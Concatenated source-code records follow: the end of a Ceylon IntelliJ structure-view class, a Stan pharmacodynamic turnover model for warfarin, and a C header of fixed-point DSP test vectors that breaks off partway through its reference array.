then getTreeElementForDeclaration {
myFile = myFile;
declaration = node;
isInherited = inherited;
}
else null;
});
}
}
| Ceylon | 4 | Kopilov/ceylon-ide-intellij | source/org/eclipse/ceylon/ide/intellij/structureView/CeylonInheritedMembersNodeProvider.ceylon | [
"Apache-2.0"
] |
functions {
#include "utils.stan"
#include "gamma2_overdisp.stan"
#include "models.stan"
real[] turnover_kin_inhib_2(real t, real[] R, real[] theta, real[] x_r, int[] x_i) {
//real ldose = x_r[1];
//real llag = x_r[2];
//real lka = x_r[3];
//real lCl = x_r[4];
//real lV = x_r[5];
real lconc = pk_1cmt_oral_tlag_t(t, x_r[1], x_r[2], x_r[3], x_r[4], x_r[5]);
real lkout = -theta[2];
real lkin = theta[1] + lkout;
real lEC50 = theta[3];
real lS = log_inv_logit(lconc - lEC50);
return { exp(lkin + log1m_exp(lS)) - R[1] * exp(lkout) };
}
vector lpdf_subject(vector phi, vector eta, real[] x_r, int[] x_i) {
vector[3] theta = phi[1:3];
vector[3] sigma_eta = phi[4:6];
real sigma_y = phi[7];
real kappa = phi[8];
real eta_cov[3] = to_array_1d(theta + eta .* sigma_eta);
int start = x_i[1];
int end = x_i[2]-1;
int Ndv = x_i[3];
int N = end-start+1;
real mu_temp[N,1] = integrate_ode_rk45(turnover_kin_inhib_2,
{ exp(eta_cov[1]) }, -1E-4,
x_r[7+start-1 : 7+end-1], // time
eta_cov,
x_r[1:5], // PK parameters
x_i[1:0],
1E-5, 1E-3, 500
);
vector[N] mu = to_vector(mu_temp[:,1]);
return [ gamma2_overdisp_array_lpdf(x_r[7+Ndv+start-1 : 7+Ndv+end-1]| mu, sigma_y, kappa * x_r[6] ) ]';
}
}
data {
int<lower=1> J;
vector<lower=0>[J] dose;
int<lower=1> N[J];
vector[sum(N)] dv;
real<lower=0> time[sum(N)];
matrix[4,J] Eta_est;
real<lower=0> ref;
}
transformed data {
int Ndv = sum(N);
int sidx[J+1] = make_slice_index(N);
int x_i[J,3];
real x_r[J,6 + 2*Ndv];
real t0 = -1E-4;
real refSq = square(ref);
vector[3] zero = rep_vector(0.0, 3);
matrix[3,3] Identity = diag_matrix(rep_vector(1.0,3));
for(j in 1:J) {
x_r[j,1] = log(dose[j]);
x_r[j,2:5] = to_array_1d(Eta_est[:,j]);
x_r[j,6] = refSq;
x_r[j,7:7+Ndv-1] = to_array_1d(time);
x_r[j,7+Ndv:7+2*Ndv-1] = to_array_1d(dv);
x_i[j,1] = sidx[j];
x_i[j,2] = sidx[j+1];
x_i[j,3] = Ndv;
}
}
parameters {
// log for 1-R0=kin/kout, 2-1/kout, 3-EC50
vector[3] theta;
//matrix[3,J] Eta;
vector[3] Eta[J];
vector<lower=0>[3] sigma_eta;
real<lower=0> sigma_y;
real<lower=0> kappa;
}
transformed parameters {
}
model {
vector[8] phi;
phi[1:3] = theta;
phi[4:6] = sigma_eta;
phi[7] = sigma_y;
phi[8] = kappa;
theta[1] ~ normal(log(80), log(10)/1.96);
theta[2] ~ normal(log(30), log(10)/1.96);
theta[3] ~ normal(log( 2.5), log(10)/1.96);
sigma_eta ~ normal(0, 0.5);
kappa ~ gamma(0.2, 0.2);
Eta ~ multi_normal_cholesky(zero, Identity);
sigma_y ~ normal(0, 10);
//PARALLEL:target += map_rect(lpdf_subject, phi, Eta, x_r, x_i);
}
generated quantities {
real R0 = exp(theta[1]);
real kin = exp(theta[1] - theta[2]);
real kout = exp(-theta[2]);
real EC50 = exp(theta[3]);
real sigma_y_ref = sqrt(square(sigma_y) + 1.0/kappa);
}
| Stan | 4 | stan-dev/stancon_talks | 2018-helsinki/Contributed-Talks/weber/stancon18-master/warfarin_pd_tlagMax_2par.stan | [
"CC-BY-4.0",
"BSD-3-Clause"
] |
static const q31_t in_val[46] = {
0x00367EDA, 0x0222EDFF, 0x03B79801, 0x0362C3FF,
0x010D754A, 0xFE9091B0, 0xFC6EA009, 0xFC88FC88,
0xFCE808E1, 0xFFCC34C9, 0x0279887A, 0x03E0E7CE,
0x03747F9E, 0x0158E952, 0xFEBF8EB2, 0xFCC878DC,
0xFBBBBBBC, 0xFD945B6E, 0xFFC6390C, 0x01E2F09B,
0x04005A54, 0x036ACA57, 0x012185A6, 0xFE684B81,
0xFCF0675E, 0xFBF6C7B0, 0xFD89B125, 0xFF8F59AF,
0x02774213, 0x0432DCF9, 0x02F326A5, 0x01310EC9,
0xFECE3199, 0xFC49C17D, 0xFC18D2BB, 0xFD08DFD8,
0x0020B6F8, 0x02689E41, 0x03CCBCF8, 0x03197DBB,
0x01D901EE, 0xFEE27558, 0xFC547BF9, 0xFC8FAF2B,
0xFD111C84, 0x00081B7D
};
static const q31_t in_coeff[999] = {
0x2AAAAAAB, 0x40000000, 0x20000000, 0x4CCCCCCD,
0x33333333, 0x1999999A, 0x55555555, 0x40000000,
0x2AAAAAAB, 0x15555555, 0x5B6DB6DB, 0x49249249,
0x36DB6DB7, 0x24924925, 0x12492492, 0x60000000,
0x50000000, 0x40000000, 0x30000000, 0x20000000,
0x10000000, 0x638E38E4, 0x55555555, 0x471C71C7,
0x38E38E39, 0x2AAAAAAB, 0x1C71C71C, 0x0E38E38E,
0x66666666, 0x5999999A, 0x4CCCCCCD, 0x40000000,
0x33333333, 0x26666666, 0x1999999A, 0x0CCCCCCD,
0x6C4EC4EC, 0x62762762, 0x589D89D9, 0x4EC4EC4F,
0x44EC4EC5, 0x3B13B13B, 0x313B13B1, 0x27627627,
0x1D89D89E, 0x13B13B14, 0x09D89D8A, 0x71C71C72,
0x6AAAAAAB, 0x638E38E4, 0x5C71C71C, 0x55555555,
0x4E38E38E, 0x471C71C7, 0x40000000, 0x38E38E39,
0x31C71C72, 0x2AAAAAAB, 0x238E38E4, 0x1C71C71C,
0x15555555, 0x0E38E38E, 0x071C71C7, 0x75C28F5C,
0x70A3D70A, 0x6B851EB8, 0x66666666, 0x6147AE14,
0x5C28F5C3, 0x570A3D71, 0x51EB851F, 0x4CCCCCCD,
0x47AE147B, 0x428F5C29, 0x3D70A3D7, 0x3851EB85,
0x33333333, 0x2E147AE1, 0x28F5C28F, 0x23D70A3D,
0x1EB851EC, 0x1999999A, 0x147AE148, 0x0F5C28F6,
0x0A3D70A4, 0x051EB852, 0x7684BDA1, 0x71C71C72,
0x6D097B42, 0x684BDA13, 0x638E38E4, 0x5ED097B4,
0x5A12F685, 0x55555555, 0x5097B426, 0x4BDA12F7,
0x471C71C7, 0x425ED098, 0x3DA12F68, 0x38E38E39,
0x3425ED09, 0x2F684BDA, 0x2AAAAAAB, 0x25ED097B,
0x212F684C, 0x1C71C71C, 0x17B425ED, 0x12F684BE,
0x0E38E38E, 0x097B425F, 0x04BDA12F, 0x2AAAAAAB,
0x40000000, 0x20000000, 0x4CCCCCCD, 0x33333333,
0x1999999A, 0x55555555, 0x40000000, 0x2AAAAAAB,
0x15555555, 0x5B6DB6DB, 0x49249249, 0x36DB6DB7,
0x24924925, 0x12492492, 0x60000000, 0x50000000,
0x40000000, 0x30000000, 0x20000000, 0x10000000,
0x638E38E4, 0x55555555, 0x471C71C7, 0x38E38E39,
0x2AAAAAAB, 0x1C71C71C, 0x0E38E38E, 0x66666666,
0x5999999A, 0x4CCCCCCD, 0x40000000, 0x33333333,
0x26666666, 0x1999999A, 0x0CCCCCCD, 0x6C4EC4EC,
0x62762762, 0x589D89D9, 0x4EC4EC4F, 0x44EC4EC5,
0x3B13B13B, 0x313B13B1, 0x27627627, 0x1D89D89E,
0x13B13B14, 0x09D89D8A, 0x71C71C72, 0x6AAAAAAB,
0x638E38E4, 0x5C71C71C, 0x55555555, 0x4E38E38E,
0x471C71C7, 0x40000000, 0x38E38E39, 0x31C71C72,
0x2AAAAAAB, 0x238E38E4, 0x1C71C71C, 0x15555555,
0x0E38E38E, 0x071C71C7, 0x75C28F5C, 0x70A3D70A,
0x6B851EB8, 0x66666666, 0x6147AE14, 0x5C28F5C3,
0x570A3D71, 0x51EB851F, 0x4CCCCCCD, 0x47AE147B,
0x428F5C29, 0x3D70A3D7, 0x3851EB85, 0x33333333,
0x2E147AE1, 0x28F5C28F, 0x23D70A3D, 0x1EB851EC,
0x1999999A, 0x147AE148, 0x0F5C28F6, 0x0A3D70A4,
0x051EB852, 0x7684BDA1, 0x71C71C72, 0x6D097B42,
0x684BDA13, 0x638E38E4, 0x5ED097B4, 0x5A12F685,
0x55555555, 0x5097B426, 0x4BDA12F7, 0x471C71C7,
0x425ED098, 0x3DA12F68, 0x38E38E39, 0x3425ED09,
0x2F684BDA, 0x2AAAAAAB, 0x25ED097B, 0x212F684C,
0x1C71C71C, 0x17B425ED, 0x12F684BE, 0x0E38E38E,
0x097B425F, 0x04BDA12F, 0x2AAAAAAB, 0x40000000,
0x20000000, 0x4CCCCCCD, 0x33333333, 0x1999999A,
0x55555555, 0x40000000, 0x2AAAAAAB, 0x15555555,
0x5B6DB6DB, 0x49249249, 0x36DB6DB7, 0x24924925,
0x12492492, 0x60000000, 0x50000000, 0x40000000,
0x30000000, 0x20000000, 0x10000000, 0x638E38E4,
0x55555555, 0x471C71C7, 0x38E38E39, 0x2AAAAAAB,
0x1C71C71C, 0x0E38E38E, 0x66666666, 0x5999999A,
0x4CCCCCCD, 0x40000000, 0x33333333, 0x26666666,
0x1999999A, 0x0CCCCCCD, 0x6C4EC4EC, 0x62762762,
0x589D89D9, 0x4EC4EC4F, 0x44EC4EC5, 0x3B13B13B,
0x313B13B1, 0x27627627, 0x1D89D89E, 0x13B13B14,
0x09D89D8A, 0x71C71C72, 0x6AAAAAAB, 0x638E38E4,
0x5C71C71C, 0x55555555, 0x4E38E38E, 0x471C71C7,
0x40000000, 0x38E38E39, 0x31C71C72, 0x2AAAAAAB,
0x238E38E4, 0x1C71C71C, 0x15555555, 0x0E38E38E,
0x071C71C7, 0x75C28F5C, 0x70A3D70A, 0x6B851EB8,
0x66666666, 0x6147AE14, 0x5C28F5C3, 0x570A3D71,
0x51EB851F, 0x4CCCCCCD, 0x47AE147B, 0x428F5C29,
0x3D70A3D7, 0x3851EB85, 0x33333333, 0x2E147AE1,
0x28F5C28F, 0x23D70A3D, 0x1EB851EC, 0x1999999A,
0x147AE148, 0x0F5C28F6, 0x0A3D70A4, 0x051EB852,
0x7684BDA1, 0x71C71C72, 0x6D097B42, 0x684BDA13,
0x638E38E4, 0x5ED097B4, 0x5A12F685, 0x55555555,
0x5097B426, 0x4BDA12F7, 0x471C71C7, 0x425ED098,
0x3DA12F68, 0x38E38E39, 0x3425ED09, 0x2F684BDA,
0x2AAAAAAB, 0x25ED097B, 0x212F684C, 0x1C71C71C,
0x17B425ED, 0x12F684BE, 0x0E38E38E, 0x097B425F,
0x04BDA12F, 0x2AAAAAAB, 0x40000000, 0x20000000,
0x4CCCCCCD, 0x33333333, 0x1999999A, 0x55555555,
0x40000000, 0x2AAAAAAB, 0x15555555, 0x5B6DB6DB,
0x49249249, 0x36DB6DB7, 0x24924925, 0x12492492,
0x60000000, 0x50000000, 0x40000000, 0x30000000,
0x20000000, 0x10000000, 0x638E38E4, 0x55555555,
0x471C71C7, 0x38E38E39, 0x2AAAAAAB, 0x1C71C71C,
0x0E38E38E, 0x66666666, 0x5999999A, 0x4CCCCCCD,
0x40000000, 0x33333333, 0x26666666, 0x1999999A,
0x0CCCCCCD, 0x6C4EC4EC, 0x62762762, 0x589D89D9,
0x4EC4EC4F, 0x44EC4EC5, 0x3B13B13B, 0x313B13B1,
0x27627627, 0x1D89D89E, 0x13B13B14, 0x09D89D8A,
0x71C71C72, 0x6AAAAAAB, 0x638E38E4, 0x5C71C71C,
0x55555555, 0x4E38E38E, 0x471C71C7, 0x40000000,
0x38E38E39, 0x31C71C72, 0x2AAAAAAB, 0x238E38E4,
0x1C71C71C, 0x15555555, 0x0E38E38E, 0x071C71C7,
0x75C28F5C, 0x70A3D70A, 0x6B851EB8, 0x66666666,
0x6147AE14, 0x5C28F5C3, 0x570A3D71, 0x51EB851F,
0x4CCCCCCD, 0x47AE147B, 0x428F5C29, 0x3D70A3D7,
0x3851EB85, 0x33333333, 0x2E147AE1, 0x28F5C28F,
0x23D70A3D, 0x1EB851EC, 0x1999999A, 0x147AE148,
0x0F5C28F6, 0x0A3D70A4, 0x051EB852, 0x7684BDA1,
0x71C71C72, 0x6D097B42, 0x684BDA13, 0x638E38E4,
0x5ED097B4, 0x5A12F685, 0x55555555, 0x5097B426,
0x4BDA12F7, 0x471C71C7, 0x425ED098, 0x3DA12F68,
0x38E38E39, 0x3425ED09, 0x2F684BDA, 0x2AAAAAAB,
0x25ED097B, 0x212F684C, 0x1C71C71C, 0x17B425ED,
0x12F684BE, 0x0E38E38E, 0x097B425F, 0x04BDA12F,
0x2AAAAAAB, 0x40000000, 0x20000000, 0x4CCCCCCD,
0x33333333, 0x1999999A, 0x55555555, 0x40000000,
0x2AAAAAAB, 0x15555555, 0x5B6DB6DB, 0x49249249,
0x36DB6DB7, 0x24924925, 0x12492492, 0x60000000,
0x50000000, 0x40000000, 0x30000000, 0x20000000,
0x10000000, 0x638E38E4, 0x55555555, 0x471C71C7,
0x38E38E39, 0x2AAAAAAB, 0x1C71C71C, 0x0E38E38E,
0x66666666, 0x5999999A, 0x4CCCCCCD, 0x40000000,
0x33333333, 0x26666666, 0x1999999A, 0x0CCCCCCD,
0x6C4EC4EC, 0x62762762, 0x589D89D9, 0x4EC4EC4F,
0x44EC4EC5, 0x3B13B13B, 0x313B13B1, 0x27627627,
0x1D89D89E, 0x13B13B14, 0x09D89D8A, 0x71C71C72,
0x6AAAAAAB, 0x638E38E4, 0x5C71C71C, 0x55555555,
0x4E38E38E, 0x471C71C7, 0x40000000, 0x38E38E39,
0x31C71C72, 0x2AAAAAAB, 0x238E38E4, 0x1C71C71C,
0x15555555, 0x0E38E38E, 0x071C71C7, 0x75C28F5C,
0x70A3D70A, 0x6B851EB8, 0x66666666, 0x6147AE14,
0x5C28F5C3, 0x570A3D71, 0x51EB851F, 0x4CCCCCCD,
0x47AE147B, 0x428F5C29, 0x3D70A3D7, 0x3851EB85,
0x33333333, 0x2E147AE1, 0x28F5C28F, 0x23D70A3D,
0x1EB851EC, 0x1999999A, 0x147AE148, 0x0F5C28F6,
0x0A3D70A4, 0x051EB852, 0x7684BDA1, 0x71C71C72,
0x6D097B42, 0x684BDA13, 0x638E38E4, 0x5ED097B4,
0x5A12F685, 0x55555555, 0x5097B426, 0x4BDA12F7,
0x471C71C7, 0x425ED098, 0x3DA12F68, 0x38E38E39,
0x3425ED09, 0x2F684BDA, 0x2AAAAAAB, 0x25ED097B,
0x212F684C, 0x1C71C71C, 0x17B425ED, 0x12F684BE,
0x0E38E38E, 0x097B425F, 0x04BDA12F, 0x2AAAAAAB,
0x40000000, 0x20000000, 0x4CCCCCCD, 0x33333333,
0x1999999A, 0x55555555, 0x40000000, 0x2AAAAAAB,
0x15555555, 0x5B6DB6DB, 0x49249249, 0x36DB6DB7,
0x24924925, 0x12492492, 0x60000000, 0x50000000,
0x40000000, 0x30000000, 0x20000000, 0x10000000,
0x638E38E4, 0x55555555, 0x471C71C7, 0x38E38E39,
0x2AAAAAAB, 0x1C71C71C, 0x0E38E38E, 0x66666666,
0x5999999A, 0x4CCCCCCD, 0x40000000, 0x33333333,
0x26666666, 0x1999999A, 0x0CCCCCCD, 0x6C4EC4EC,
0x62762762, 0x589D89D9, 0x4EC4EC4F, 0x44EC4EC5,
0x3B13B13B, 0x313B13B1, 0x27627627, 0x1D89D89E,
0x13B13B14, 0x09D89D8A, 0x71C71C72, 0x6AAAAAAB,
0x638E38E4, 0x5C71C71C, 0x55555555, 0x4E38E38E,
0x471C71C7, 0x40000000, 0x38E38E39, 0x31C71C72,
0x2AAAAAAB, 0x238E38E4, 0x1C71C71C, 0x15555555,
0x0E38E38E, 0x071C71C7, 0x75C28F5C, 0x70A3D70A,
0x6B851EB8, 0x66666666, 0x6147AE14, 0x5C28F5C3,
0x570A3D71, 0x51EB851F, 0x4CCCCCCD, 0x47AE147B,
0x428F5C29, 0x3D70A3D7, 0x3851EB85, 0x33333333,
0x2E147AE1, 0x28F5C28F, 0x23D70A3D, 0x1EB851EC,
0x1999999A, 0x147AE148, 0x0F5C28F6, 0x0A3D70A4,
0x051EB852, 0x7684BDA1, 0x71C71C72, 0x6D097B42,
0x684BDA13, 0x638E38E4, 0x5ED097B4, 0x5A12F685,
0x55555555, 0x5097B426, 0x4BDA12F7, 0x471C71C7,
0x425ED098, 0x3DA12F68, 0x38E38E39, 0x3425ED09,
0x2F684BDA, 0x2AAAAAAB, 0x25ED097B, 0x212F684C,
0x1C71C71C, 0x17B425ED, 0x12F684BE, 0x0E38E38E,
0x097B425F, 0x04BDA12F, 0x2AAAAAAB, 0x40000000,
0x20000000, 0x4CCCCCCD, 0x33333333, 0x1999999A,
0x55555555, 0x40000000, 0x2AAAAAAB, 0x15555555,
0x5B6DB6DB, 0x49249249, 0x36DB6DB7, 0x24924925,
0x12492492, 0x60000000, 0x50000000, 0x40000000,
0x30000000, 0x20000000, 0x10000000, 0x638E38E4,
0x55555555, 0x471C71C7, 0x38E38E39, 0x2AAAAAAB,
0x1C71C71C, 0x0E38E38E, 0x66666666, 0x5999999A,
0x4CCCCCCD, 0x40000000, 0x33333333, 0x26666666,
0x1999999A, 0x0CCCCCCD, 0x6C4EC4EC, 0x62762762,
0x589D89D9, 0x4EC4EC4F, 0x44EC4EC5, 0x3B13B13B,
0x313B13B1, 0x27627627, 0x1D89D89E, 0x13B13B14,
0x09D89D8A, 0x71C71C72, 0x6AAAAAAB, 0x638E38E4,
0x5C71C71C, 0x55555555, 0x4E38E38E, 0x471C71C7,
0x40000000, 0x38E38E39, 0x31C71C72, 0x2AAAAAAB,
0x238E38E4, 0x1C71C71C, 0x15555555, 0x0E38E38E,
0x071C71C7, 0x75C28F5C, 0x70A3D70A, 0x6B851EB8,
0x66666666, 0x6147AE14, 0x5C28F5C3, 0x570A3D71,
0x51EB851F, 0x4CCCCCCD, 0x47AE147B, 0x428F5C29,
0x3D70A3D7, 0x3851EB85, 0x33333333, 0x2E147AE1,
0x28F5C28F, 0x23D70A3D, 0x1EB851EC, 0x1999999A,
0x147AE148, 0x0F5C28F6, 0x0A3D70A4, 0x051EB852,
0x7684BDA1, 0x71C71C72, 0x6D097B42, 0x684BDA13,
0x638E38E4, 0x5ED097B4, 0x5A12F685, 0x55555555,
0x5097B426, 0x4BDA12F7, 0x471C71C7, 0x425ED098,
0x3DA12F68, 0x38E38E39, 0x3425ED09, 0x2F684BDA,
0x2AAAAAAB, 0x25ED097B, 0x212F684C, 0x1C71C71C,
0x17B425ED, 0x12F684BE, 0x0E38E38E, 0x097B425F,
0x04BDA12F, 0x2AAAAAAB, 0x40000000, 0x20000000,
0x4CCCCCCD, 0x33333333, 0x1999999A, 0x55555555,
0x40000000, 0x2AAAAAAB, 0x15555555, 0x5B6DB6DB,
0x49249249, 0x36DB6DB7, 0x24924925, 0x12492492,
0x60000000, 0x50000000, 0x40000000, 0x30000000,
0x20000000, 0x10000000, 0x638E38E4, 0x55555555,
0x471C71C7, 0x38E38E39, 0x2AAAAAAB, 0x1C71C71C,
0x0E38E38E, 0x66666666, 0x5999999A, 0x4CCCCCCD,
0x40000000, 0x33333333, 0x26666666, 0x1999999A,
0x0CCCCCCD, 0x6C4EC4EC, 0x62762762, 0x589D89D9,
0x4EC4EC4F, 0x44EC4EC5, 0x3B13B13B, 0x313B13B1,
0x27627627, 0x1D89D89E, 0x13B13B14, 0x09D89D8A,
0x71C71C72, 0x6AAAAAAB, 0x638E38E4, 0x5C71C71C,
0x55555555, 0x4E38E38E, 0x471C71C7, 0x40000000,
0x38E38E39, 0x31C71C72, 0x2AAAAAAB, 0x238E38E4,
0x1C71C71C, 0x15555555, 0x0E38E38E, 0x071C71C7,
0x75C28F5C, 0x70A3D70A, 0x6B851EB8, 0x66666666,
0x6147AE14, 0x5C28F5C3, 0x570A3D71, 0x51EB851F,
0x4CCCCCCD, 0x47AE147B, 0x428F5C29, 0x3D70A3D7,
0x3851EB85, 0x33333333, 0x2E147AE1, 0x28F5C28F,
0x23D70A3D, 0x1EB851EC, 0x1999999A, 0x147AE148,
0x0F5C28F6, 0x0A3D70A4, 0x051EB852, 0x7684BDA1,
0x71C71C72, 0x6D097B42, 0x684BDA13, 0x638E38E4,
0x5ED097B4, 0x5A12F685, 0x55555555, 0x5097B426,
0x4BDA12F7, 0x471C71C7, 0x425ED098, 0x3DA12F68,
0x38E38E39, 0x3425ED09, 0x2F684BDA, 0x2AAAAAAB,
0x25ED097B, 0x212F684C, 0x1C71C71C, 0x17B425ED,
0x12F684BE, 0x0E38E38E, 0x097B425F, 0x04BDA12F,
0x2AAAAAAB, 0x40000000, 0x20000000, 0x4CCCCCCD,
0x33333333, 0x1999999A, 0x55555555, 0x40000000,
0x2AAAAAAB, 0x15555555, 0x5B6DB6DB, 0x49249249,
0x36DB6DB7, 0x24924925, 0x12492492, 0x60000000,
0x50000000, 0x40000000, 0x30000000, 0x20000000,
0x10000000, 0x638E38E4, 0x55555555, 0x471C71C7,
0x38E38E39, 0x2AAAAAAB, 0x1C71C71C, 0x0E38E38E,
0x66666666, 0x5999999A, 0x4CCCCCCD, 0x40000000,
0x33333333, 0x26666666, 0x1999999A, 0x0CCCCCCD,
0x6C4EC4EC, 0x62762762, 0x589D89D9, 0x4EC4EC4F,
0x44EC4EC5, 0x3B13B13B, 0x313B13B1, 0x27627627,
0x1D89D89E, 0x13B13B14, 0x09D89D8A, 0x71C71C72,
0x6AAAAAAB, 0x638E38E4, 0x5C71C71C, 0x55555555,
0x4E38E38E, 0x471C71C7, 0x40000000, 0x38E38E39,
0x31C71C72, 0x2AAAAAAB, 0x238E38E4, 0x1C71C71C,
0x15555555, 0x0E38E38E, 0x071C71C7, 0x75C28F5C,
0x70A3D70A, 0x6B851EB8, 0x66666666, 0x6147AE14,
0x5C28F5C3, 0x570A3D71, 0x51EB851F, 0x4CCCCCCD,
0x47AE147B, 0x428F5C29, 0x3D70A3D7, 0x3851EB85,
0x33333333, 0x2E147AE1, 0x28F5C28F, 0x23D70A3D,
0x1EB851EC, 0x1999999A, 0x147AE148, 0x0F5C28F6,
0x0A3D70A4, 0x051EB852, 0x7684BDA1, 0x71C71C72,
0x6D097B42, 0x684BDA13, 0x638E38E4, 0x5ED097B4,
0x5A12F685, 0x55555555, 0x5097B426, 0x4BDA12F7,
0x471C71C7, 0x425ED098, 0x3DA12F68, 0x38E38E39,
0x3425ED09, 0x2F684BDA, 0x2AAAAAAB, 0x25ED097B,
0x212F684C, 0x1C71C71C, 0x17B425ED, 0x12F684BE,
0x0E38E38E, 0x097B425F, 0x04BDA12F
};
static const uint16_t in_config[216] = {
0x0001, 0x0001, 0x0001, 0x0002, 0x0001, 0x0003, 0x0001, 0x0004,
0x0001, 0x0005, 0x0001, 0x0006, 0x0001, 0x0007, 0x0001, 0x0008,
0x0001, 0x000B, 0x0001, 0x0010, 0x0001, 0x0017, 0x0001, 0x0019,
0x0002, 0x0001, 0x0002, 0x0002, 0x0002, 0x0003, 0x0002, 0x0004,
0x0002, 0x0005, 0x0002, 0x0006, 0x0002, 0x0007, 0x0002, 0x0008,
0x0002, 0x000B, 0x0002, 0x0010, 0x0002, 0x0017, 0x0002, 0x0019,
0x0003, 0x0001, 0x0003, 0x0002, 0x0003, 0x0003, 0x0003, 0x0004,
0x0003, 0x0005, 0x0003, 0x0006, 0x0003, 0x0007, 0x0003, 0x0008,
0x0003, 0x000B, 0x0003, 0x0010, 0x0003, 0x0017, 0x0003, 0x0019,
0x0008, 0x0001, 0x0008, 0x0002, 0x0008, 0x0003, 0x0008, 0x0004,
0x0008, 0x0005, 0x0008, 0x0006, 0x0008, 0x0007, 0x0008, 0x0008,
0x0008, 0x000B, 0x0008, 0x0010, 0x0008, 0x0017, 0x0008, 0x0019,
0x0009, 0x0001, 0x0009, 0x0002, 0x0009, 0x0003, 0x0009, 0x0004,
0x0009, 0x0005, 0x0009, 0x0006, 0x0009, 0x0007, 0x0009, 0x0008,
0x0009, 0x000B, 0x0009, 0x0010, 0x0009, 0x0017, 0x0009, 0x0019,
0x000A, 0x0001, 0x000A, 0x0002, 0x000A, 0x0003, 0x000A, 0x0004,
0x000A, 0x0005, 0x000A, 0x0006, 0x000A, 0x0007, 0x000A, 0x0008,
0x000A, 0x000B, 0x000A, 0x0010, 0x000A, 0x0017, 0x000A, 0x0019,
0x000B, 0x0001, 0x000B, 0x0002, 0x000B, 0x0003, 0x000B, 0x0004,
0x000B, 0x0005, 0x000B, 0x0006, 0x000B, 0x0007, 0x000B, 0x0008,
0x000B, 0x000B, 0x000B, 0x0010, 0x000B, 0x0017, 0x000B, 0x0019,
0x0010, 0x0001, 0x0010, 0x0002, 0x0010, 0x0003, 0x0010, 0x0004,
0x0010, 0x0005, 0x0010, 0x0006, 0x0010, 0x0007, 0x0010, 0x0008,
0x0010, 0x000B, 0x0010, 0x0010, 0x0010, 0x0017, 0x0010, 0x0019,
0x0017, 0x0001, 0x0017, 0x0002, 0x0017, 0x0003, 0x0017, 0x0004,
0x0017, 0x0005, 0x0017, 0x0006, 0x0017, 0x0007, 0x0017, 0x0008,
0x0017, 0x000B, 0x0017, 0x0010, 0x0017, 0x0017, 0x0017, 0x0019
};
static const q31_t ref_val[1992] = {
0x00122A49, 0x00B64F55, 0x000D9FB7, 0x00A3FAED,
0x000AE62C, 0x00832F24, 0x00091524, 0x006D51F3,
0x0007C8FB, 0x005DB3F5, 0x0006CFDB, 0x0051FD76,
0x00060E18, 0x0048E14D, 0x00057316, 0x00419792,
0x00043124, 0x00327498, 0x0003070C, 0x002470A6,
0x00022E09, 0x001A3CA1, 0x000204B3, 0x00184B1A,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x000D9FB7, 0x00A3FAED, 0x01FF5D00, 0x02B47D00,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x00091524, 0x006D51F3, 0x01702818, 0x0303743C,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x0006CFDB, 0x0051FD76, 0x01141E12, 0x0242972D,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
0x00057316, 0x00419792, 0x00DCE4DB, 0x01CEDF57,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0003070C, 0x002470A6, 0x007AB808, 0x010126BF,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x000204B3, 0x00184B1A, 0x0051D005, 0x00AB6F2A,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x0059D1C3, 0xFF8585E5, 0x000D9FB7, 0x00A3FAED,
0x01FF5D00, 0x02B47D00, 0x01F4BF52, 0x002ADF11,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x03CB8DDC, 0x022A5B40, 0x00091524, 0x006D51F3,
0x01702818, 0x0303743C, 0x04963F8C, 0x04485C0C,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x04156C82, 0x0532669C, 0x0006CFDB, 0x0051FD76,
0x01141E12, 0x0242972D, 0x0392BEF1, 0x04B4F8EC,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
0x032D1B81, 0x042F1627, 0x00057316, 0x00419792,
0x00DCE4DB, 0x01CEDF57, 0x02DBCBF4, 0x03C3FA56,
0x00043124, 0x00327498, 0x00A9EB1F, 0x01640E43,
0x0232EBA8, 0x02E5857D, 0x0003070C, 0x002470A6,
0x007AB808, 0x010126BF, 0x01968DC1, 0x02178B13,
0x00022E09, 0x001A3CA1, 0x00585B8B, 0x00B92623,
0x0124B7FB, 0x01819756, 0x000204B3, 0x00184B1A,
0x0051D005, 0x00AB6F2A, 0x010F092B, 0x01650762,
0x00122A49, 0x00B64F55, 0x013D32AB, 0x0120EC00,
0x0059D1C3, 0xFF8585E5, 0xFECF8AAE, 0xFED8542D,
0xFEF802F6, 0xFFEEBC43, 0x00D32D7E, 0x014AF7EF,
0x0126D535, 0x0072F871, 0xFF952F91, 0xFEED7D9F,
0x000D9FB7, 0x00A3FAED, 0x01FF5D00, 0x02B47D00,
0x01F4BF52, 0x002ADF11, 0xFE63F0DA, 0xFD598F27,
0xFD7E807C, 0xFE6711A3, 0x00847C83, 0x0234FE30,
0x02CD93CF, 0x02107A23, 0x005C5856, 0xFE91E590,
0x000AE62C, 0x00832F24, 0x01B9C9B6, 0x03722600,
0x03CB8DDC, 0x022A5B40, 0xFF58070E, 0xFD04C9EF,
0xFBDAC6D0, 0xFCA4A5A1, 0xFE8ECF56, 0x01A4EB06,
0x03BA2E88, 0x03FA8665, 0x025C933D, 0xFFAA1071,
0x00091524, 0x006D51F3, 0x01702818, 0x0303743C,
0x04963F8C, 0x04485C0C, 0x01B5DDE0, 0xFE37A123,
0xFB96B177, 0xFAD2F4B7, 0xFC7CFFCD, 0xFF4EC9C6,
0x02F89F4C, 0x04F72050, 0x048DBFE7, 0x02060D72,
0x0007C8FB, 0x005DB3F5, 0x013B9014, 0x02953F0F,
0x04156C82, 0x0532669C, 0x041F062F, 0x00E3F18B,
0xFCF87E2E, 0xFA89CC1A, 0xFA71046E, 0xFCEE85E6,
0x005645BE, 0x041C8A8B, 0x05ABBCD4, 0x04814363,
0x0006CFDB, 0x0051FD76, 0x01141E12, 0x0242972D,
0x0392BEF1, 0x04B4F8EC, 0x053557E8, 0x0391255B,
0xFFE38167, 0xFC02AA8E, 0xFA0F5124, 0xFAA3AD30,
0xFDB23A6C, 0x0146FFE2, 0x04CF6CD0, 0x05CC4152,
0x00060E18, 0x0048E14D, 0x00F57010, 0x02024D7D,
